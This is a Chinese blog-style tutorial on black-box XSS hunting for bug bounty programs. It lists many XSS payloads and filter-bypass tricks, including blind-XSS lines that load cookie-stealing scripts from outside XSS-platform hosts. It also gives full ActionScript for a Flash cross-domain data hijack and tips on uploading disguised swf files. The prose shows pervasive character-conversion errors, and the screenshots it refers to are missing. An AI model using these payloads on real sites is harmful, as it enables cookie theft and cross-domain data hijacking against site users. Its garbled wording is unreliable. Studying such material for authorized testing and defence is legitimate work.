我是如何黑盒測試XSS漏洞的?

在挖掘SRC中，不少人挖洞都是挖掘的XSS漏洞，隨着Web安全的普及，人類愈來愈注重自身網站的安全。

來一篇簡單的黑盒測試XSS漏洞的一點方法和我的的一些看法

通常測試XSS漏洞，通常是簡單測試下，而不是直接深層次的繞過代碼直接去碰，測試XSS常規的XSS測試語句是：

 

     "><img/src/onerror=alert(1)>

 

屢試不爽

先講一個簡單的，在測試XSS漏洞的時候，當咱們使用這個語句的時候，通常瀏覽器/網站自身都有過濾和防禦

因此很無奈，這種payload遇到大型網站通常GG了!

想讓這種普通payload觸發咱們該如何去作?

 

我來講一個我實際遇到的狀況：

 

假設有個提交的表單的頁面:表單提交的頁面有個添加網站的功能，添加網站功能作了驗證，他只容許添加網站，而不容許添加那些非網站的信息，只容許http://xxx.com這種，而不容許text文檔。

 

 

 

 

遇到相似於這種狀況，就是至關於你遇到當網站遇到限制你操做的時候，只容許作某種輸入的時候，那麼就頗有可能存在XSS漏洞。

 

咱們先輸入正確的輸入規則而後抓包，而後咱們把正確的輸入規則改爲錯誤的規則，就是咱們上面常規的XSS Payload:

 

 

 

而後咱們發包：

 

 

 

這只是其中一種狀況，這種漏洞仍是蠻常見的。我遇到了好幾回了

 

咱們知道不少時候XSS漏洞的修復不是白盒修復，而是黑盒修復，修復的並不完善：

 

有的XSS修復是隻過濾了script而沒有進行其餘標籤的過濾:

提供一點XSS語句：

 

<embed src="http://www.baidu.com" />

<style onload=alert(1)>

"><iframe onload=alert(1)>

<input oninput=alert(1)

 

不少時候咱們會發現使用其餘payload會出現意想不到的效果：

  

網頁編碼GBK格式繞過過濾方法：

 

%bf<script%bf>%bf</script/%bf>

 

以前看了個百度的發帖輸入XSS payload彈窗的存儲型xss漏洞，所用的payload 是：

 

<iimgmg src=# onerror=alalertert(document.cookie)>

 

雙代碼繞過思路。其實不少時候輸入常規代碼不彈窗的時候不要氣餒，嘗試使用其餘payload

 

     關於XSS盲打，通常是直接借用XSS攻擊平臺最普通的XSS打cookie語句：

 

</tExtArEa>'"><sCRiPt sRC=http://2xss.cc/VgFl></sCrIpT>

 

如今程序員對盲打cookie使用這個語句多少有點了解，都會禁止傳輸textarea標籤，等價於這條盲打語句的是：

 

<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://oxss.cn/Qs13>sss</a>

 

我臨時使用的XSS測試平臺是：

 

http://xxx/xss.php?do=project&act=create

 

不少時候會對<>進行過濾，咱們能夠進行各類編碼繞過這裏不講了，《心傷的瘦子的XSS》文章介紹的很清楚了!

 關於callback,隨着互聯網的發展，接口出現的頻率愈來愈高，我以前測試的一個網站，百分之80的網站接口都是callback，那麼callback接口是否會存在什麼安全隱患呢 ?

答案是必然的，他會存在sql注入，XSS等。

這裏主要是彈XSS漏洞

 

提供幾個接口測試的XSS payload：

 

<img src=1 onerorr=alert(1)>

javascripr:alert(1)

vbscript:alert(1)

 

舉例子三個，我只是拋磚引玉，還能夠延生不少XSS語句好比 prompt彈窗均可以，包括大小寫，均可能形成彈窗！

不少時候XSS是過濾的是那些js標籤和HTML標籤，他沒有過濾css標籤，那麼css外部引用漏洞就變得有隙可乘了

 

(1)  <span style="font-size:99px;">aaaa</span>

 

(2)  <span style="font-size:99px; background:url('//timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1508326019771&di=20c2f2ee7f6c14f62ea9984fd1ebfbd3&imgtype=jpg')">aaaa</span>  

 

最後一點關於crossdomain.xml

 

不少網站，都存在crossdomain.xml文檔，你們必定要注意這個文件，不少高危漏洞都由於他，crossdomain.xml是能夠致使跨域的一個重大緣由之一。有句話個人印象很深入，一個swf文件至關於一個高危漏洞，當swf遇到crossdomain.xml文檔就是高危的產生。

 

swf文件的利用格式是不少的， 提供一份swf文檔代碼：

 

package com.powerflasher.SampleApp {

    import flash.external.ExternalInterface;

    import flash.display.Sprite;

    import flash.display.Sprite;

    import flash.events.Event;

    import flash.net.URLLoader;

    import flash.net.URLRequest;

    import flash.text.TextField;

    import flash.text.TextFieldAutoSize;

    import flash.xml.*;

    import flash.events.IOErrorEvent;

import flash.events.*;

        import flash.net.*;

/**

 * @author User

 */

  public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;

        public function CrossDomainDataHijack() {

            loader = new URLLoader();

            configureListeners(loader);

var target:String = root.loaderInfo.parameters.input;

            var request:URLRequest = new URLRequest(target);

            try {

                loader.load(request);

            } catch (error:Error) {

                sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());

            }

        }

        private function configureListeners(dispatcher:IEventDispatcher):void {

            dispatcher.addEventListener(Event.COMPLETE, completeHandler);

            dispatcher.addEventListener(Event.OPEN, openHandler);

            dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);

            dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);

            dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);

            dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);

        }

        private function completeHandler(event:Event):void {

            var loader:URLLoader = URLLoader(event.target);

            //trace("completeHandler: " + loader.data);

     sendDatatoJS("completeHandler: " + loader.data);

        }

        private function openHandler(event:Event):void {

            //trace("openHandler: " + event);

sendDatatoJS("openHandler: " + event);

        }

        private function progressHandler(event:ProgressEvent):void {

            //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

        }

        private function securityErrorHandler(event:SecurityErrorEvent):void {

            //trace("securityErrorHandler: " + event);

sendDatatoJS("securityErrorHandler: " + event);

        }

        private function httpStatusHandler(event:HTTPStatusEvent):void {

            //trace("httpStatusHandler: " + event);

sendDatatoJS("httpStatusHandler: " + event);

        }

        private function ioErrorHandler(event:IOErrorEvent):void {

            //trace("ioErrorHandler: " + event);

sendDatatoJS("ioErrorHandler: " + event);

        }

private function sendDatatoJS(data:String):void{

            trace(data);

ExternalInterface.call("sendToJavaScript", data);

}

    }

}

 

 

 他的繞事後綴有好幾種：

 

你們要格外注意這一塊漏洞！

 

要記住文件上傳不只僅能夠是拿webshell，還多是跨域劫持哦。假設文件上傳不存在php,asp,aspx,jsp等文件的上傳不要灰心，應該嘗試html後綴和swf後綴或者是swf文檔的隱藏gif  png jpg格式的上傳。漏洞挖掘中，咱們不該該錯過任何一次嘗試，每一次錯過表明你與漏洞將失之交臂。要始終堅信即便是最安全的系統也可能存在安全漏洞，一切皆有可能。

 

 關於flash xss文檔的製做：

簡單的XSS payload製做：

 

getURL("javascript:alert('test')");

 

  假如咱們把咱們的swf文件發給其餘用戶是否會進行文件未對swf的過濾處理？致使收件人預覽/打開文件的一瞬間瞬間彈窗呢?

一切皆有可能。

 

我上面所講的，我都親身體會挖掘過，附帶的提一下CRLF這種漏洞的挖掘思路:

詳情我不說了，看細節文章吧：

 

http://www.secevery.com:4321/bugs/wooyun-2016-0173904

 

寫的很詳細，本人很是佩服! XSS問題是個持續性的安全問題，須要廣大的安全愛好者們去深刻挖掘和突破，他遠沒有我說的那麼簡單，他很複雜，值得研究，做者只是拋磚引玉，之後遇到更好的挖掘方式，自會更新!